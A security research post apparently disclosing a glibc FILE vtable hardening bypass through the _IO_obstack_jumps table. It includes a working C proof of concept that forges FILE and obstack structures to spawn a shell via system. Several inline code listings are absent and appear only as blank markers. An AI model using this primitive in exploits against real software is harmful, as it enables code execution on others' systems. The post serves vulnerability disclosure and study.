Another FILE VTable Bypass
This post describes a technique for bypassing existing hardening of FILE
vtable values in order to gain arbitrary code execution. This technique is known
to work as of glibc 2.32.
I reported this bypass to the glibc maintainers on December 28, 2020.
Background
C’s FILE structures are complicated objects with a long history attackers of
abusing them to gain execution control.
For the purposes of this post, we will focus on the polymorphism of FILE
structures which is implemented by embedding a vtable pointer in the structure.
| |
| |
This allows glibc to have multiple backing implementations of FILE that all
work with the same public APIs.
In early versions of glibc, an attacker could overwrite the vtable field of a
_IO_FILE_plus to point to a fake jump table, at which point invoking any file
operation on the FILE would pass execution to an attacker controlled function
pointer. This technique is described by Kees Cook in Abusing the FILE
structure
and was patched in glibc
2.24.
The hardening to mitigate vtable abuse attacks introduced a check before
dereferencing a vtable pointer that ensured that the referenced vtable resided
in the region of libc’s memory that contains the official FILE vtables.
| |
This prevents an attacker from crafting and using their own vtable objects.
However, as noted by Dhaval Kapil in FILE Structure
Exploitation, glibc
includes a variety of different FILE implementations with their own vtables:
_IO_helper_jumps
_IO_helper_jumps
_IO_str_chk_jumps
_IO_mem_jumps
_IO_strn_jumps
_IO_cookie_jumps
_IO_old_cookie_jumps
_IO_wstrn_jumps
_IO_old_proc_jumps
_IO_file_jumps
_IO_file_jumps_mmap
_IO_file_jumps_maybe_mmap
_IO_proc_jumps
_IO_str_jumps
_IO_old_file_jumps
_IO_obstack_jumps
_IO_wmem_jumps
_IO_wstr_jumps
_IO_wfile_jumps
_IO_wfile_jumps_mmap
_IO_wfile_jumps_maybe_mmapIf a function referenced by one of these official vtables passes execution to an unvalidated function pointer an attacker could obtain execution control by providing a vtable value that causes the vulnerable function to execute.
Dhaval Kapil identified one such function, _IO_str_overflow, in the
_IO_str_jumps jump table. This function reads a pointer out of the FILE
structure and executes it when more memory is needed for an internal buffer.
This technique was patched in glibc
2.28 by changing
_IO_str_overflow to use malloc and free instead of function pointers
embedded in the FILE structure.
Bypass
Like the _IO_str_jumps vtable before glibc 2.28, the _IO_obstack_jumps
contains references to functions that dereference unvalidated pointers.
Understanding how to trigger this behavior requires a basic understanding of the
obstack APIs.
Obstacks
An obstack is an interface for allocating a stack of objects of arbitrary
size. The interface provides a layer of abstraction above heap allocation APIs
like malloc and will allocate chunks from an allocator as needed with
individual objects allocated by the obstack potentially sharing the same
underlying buffer.
In glibc, an obstack is initialized by defining the macros
obstack_chunk_alloc and obstack_chunk_free to specify the underlying
allocator and then calling obstack_init.
| |
This will initialize a structure and store the caller specified allocation and
freeing function in the chunkfun and freefun fields of the obstack
structure.
| |
The obstack_grow macro is used when the user wishes to allocate and copy data
into a new obstack allocation. If there is sufficient space in the most recent
chunk it will be used otherwise a new chunk will be allocated.
| |
Allocation of a new chunk is handled by _obstack_chunk which calls the
CALL_CHUNKFUN macro which finally invokes the custom allocator.
| |
| |
Note that the CALL_CHUNKFUN macro checks the use_extra_arg field of the
obstack and, if true, passes the extra_arg field as the first parameter to
the custom allocator.
Obstack Files
Glibc provides a FILE implementation that writes data into an obstack,
_IO_obstack_file.
| |
| |
The jump table is very minimal but does contain two interesting functions, both
of which attempt to grow the associated obstack.
Either can be used for exploitation, for the purposes of demonstration let’s
focus on _IO_obstack_xsputn.
| |
If writing n bytes to the _IO_write_ptr will overflow beyond
_IO_write_end, then _IO_obstack_xsputn will invoke obstack_grow which in
turn may invoke the chunkfun allocator.
Summary
Putting this all together, to achieve execution control with a fake or modified
FILE structure the following conditions must be met:
- The vtable of the
FILEmust point into the_IO_obstack_jumpsregion such that_IO_obstack_xsputnis the next vtable method invoked on theFILE. - The address just after the vtable of the
FILEwill be interpreted as anobstackpointer and must point to attacker controlled memory. - The expression
fp->_IO_write_ptr + n > fp->_IO_write_endmust evaluate to true wherefpis the fakeFILEandnis an argument to_IO_obstack_xsputn - The expression
obstack->next_free + n > obstack->chunk_limitmust evaluate to true whereobstackis the attacker controlledobstackobject andnis the length passed to_IO_obstack_xsputn.
Example
// An example of spawning a shell via a forged FILE by way of the
// _IO_obstack_jumps vtable.
//
// Run with:
// $ gcc -o example example.c && ./example
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
// Place a shell command in a known region of memory.
char *shell_command = (char *) malloc(0x10);
strcpy(shell_command, "/bin/sh");
// Construct a fake obstack struct where the chunkfun allocator function
// points to system and the extra_arg field points to the location of the
// shell command to execute.
uintptr_t *fake_obstack = (uintptr_t *) malloc(0x100);
fake_obstack[3] = 1; /* next_free */
fake_obstack[4] = 0; /* chunk_limit */
fake_obstack[7] = (uintptr_t) &system; /* chunkfun */
fake_obstack[9] = (uintptr_t) shell_command; /* extra_arg */
fake_obstack[10] = -1; /* use_extra_arg */
// Grab a reference to the _IO_file_jumps vtable from one of the standard IO
// FILE structs.
uintptr_t _IO_file_jumps = ((uintptr_t *) stdin)[27];
// The obstack vtable is located at an offset from the file vtable. The exact
// value may depend on the specific libc build.
uintptr_t _IO_obstack_jumps = _IO_file_jumps - 0x240;
// Construct a fake FILE object with a vtable pointing to the
// _IO_obstack_jumps vtable and the obstack field pointing to the fake obstack
// above.
//
// Going through fputs requires the file lock to point to a valid region of
// memory. Locking will succeed if the value pointed to by the lock is null.
// For this example, reuse the fake FILE struct.
uintptr_t *fake_file = (uintptr_t *) malloc(0x300);
fake_file[6] = 1; /* write_ptr */
fake_file[7] = 0; /* write_end */
fake_file[17] = (uintptr_t) fake_file; /* lock */
fake_file[27] = _IO_obstack_jumps; /* vtable */
fake_file[28] = (uintptr_t) fake_obstack; /* obstack */
// Trigger a function that will invoke the sputn vtable method which will in
// turn spawn a shell.
fputs("hello world", (FILE *) fake_file);
}